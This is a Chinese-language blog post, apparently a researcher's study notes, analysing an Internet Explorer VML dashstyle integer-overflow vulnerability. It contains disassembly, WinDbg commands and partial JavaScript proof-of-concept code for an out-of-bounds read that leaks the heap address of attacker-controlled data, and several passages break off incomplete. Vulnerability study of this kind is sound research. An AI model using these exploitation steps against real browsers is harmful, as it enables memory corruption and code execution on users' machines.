<meta http-equiv="x-ua-compatible" content="IE=EmulateIE9" >
</head>
VUPEN出品的文章绝对是上等的干货,像我这样内功还不到火候的初学者反来复去读上好几遍仍是一头雾水。于是根据VUPEN博文中提供的信息构造了POC,windbging一番才觉得头脑清爽了一些,隧撰此文已备忘。
一、漏洞成因
VML标签<v:stroke>有一个属性dashstyle,使用JS语句读取dashstyle属性的值会使函数COAStroke::get_dashstyle被调用。该函数首先会判断当前COAStroke对象中是否有类型为COALineDashStyle的成员变量,如果没有则创建之。COALineDashStyle类型有一成员函数get_array,返回一COALineDashStyleArray类型的对象。COALineDashStyleArray对象有以下成员函数:
设置或者读取dashstyle.array.length属性时,对应的put_length或get_length函数就会被调用;利用数组下标访问dash.array属性时,对应的put_item或get_item函数就会被调用。
使用JS语句对dashstyle属性赋值时,例如:stroke.dashstyle = "1 2 3 4",函数vgx!ParseDashStyle会被调用,将将控制流转向_MsoFCreateArray函数来创建一个ORG数组。在_MsoFCreateArray中调用_MsoFInitPx函数根据数组成员个数来、进行内存分配,每个数组成员占四字节内存所以ORG数组的缓冲区大小为数组成员个数 X 4(byte)。在对dashstyle.array.length属性赋值时,数组成员的个数会改变,在put_length函数中会根据新设置的值来重新为ORG数组成分配内存。漏洞相关代码如下:
.text:4242D108 cmp eax, esi ;比较当前长度和预期长度的大小
.text:4242D10A jge short loc_4242D161 ;如果当前长度大于预期长度,则跳转到loc_4242d161处执行
因此当传入desired_length的值为有符号数0xFFFFFFFF时,会导致在执行以下指令时发生整数溢出,数组的长度被改写为0xFFFF=65535,但对应的内存却没有被分配。
.text:4241B8ED sub [esi], bx ;current_length - (current_length - desired_length) = desired_length
之后通过下标访问数组就可以实现任意地址内存读写!要想成功触发漏洞,须得使用JS将dashstyle.array.length的值设置为0xFFFFFFFF,但是如果直接使用如下语句
二、信息i泄漏
所以如果事先给marginLeft属性赋予攻击者可控的数据,如ROP+SHELLCODE啥的,再借助这个漏洞读取到CRuntimeStyleInfo对象内存偏移0x58上的指针,就可以获得攻击者可控数据在内存中的地址。ORG数组缓冲区大小由攻击者可控,CRuntimeStyleInfo大小为固定0xAC字节(实际分配0xB0),若想通过数组越界访问某个CRuntimeStyleInfo对象偏移0x58处的内存,在很多exp中可以看到的做法可通过以下三步实现。
2、间隔释放之前创建的CRuntimeStyleInfo对象
3、精心构造dashstyle的属性,使ORG数组缓冲区大小为0xB0字节,以便这块缓冲区就能够和某个CRuntimeStyleInfo相毗邻
但是在W8下由于加入了HiASLR内存保护机制,使得从堆上分配的内存地址具有更强的随机性,尝试使用以下JS代码连续创建CRuntimeStyleInfo对象,但是可以看到分配的内存块并不连续:
var runtimeStyle = document.getElementById("rect" + i.toString())._vgRuntimeStyle
runtimeStyle.marginLeft = unescape("TTWILLYOUMARRYME")
}
vgx!CParserTag::GetRTSInfo+0x1a ".printf \"[*]memory block:0x%08x\",@eax;.echo;gc",之后可以看到windbg记录的信息。
a[i].marginLeft = "TTWILLYOUMARRYME" //对marginLeft属性设置攻击者可控的数据
marginLeftAddress = vml1.dashstyle.array.item(0x2E+0x16); //读取某个CRuntimeStyleInfo对象偏移0x58处的字符串指针
if(marginLeftAddress != 0){
marginLeftAddress = decimalToHexString(marginLeftAddress);
alert("i=0x" + i.toString(16) + " 0x:" + marginLeftAddress);
break;
}
执行效果如下图所示,泄漏的地址为0x06F1A044;使用调试器查看该地址上数据——正是攻击者可控的数据"TTWILLYOUMARRYME"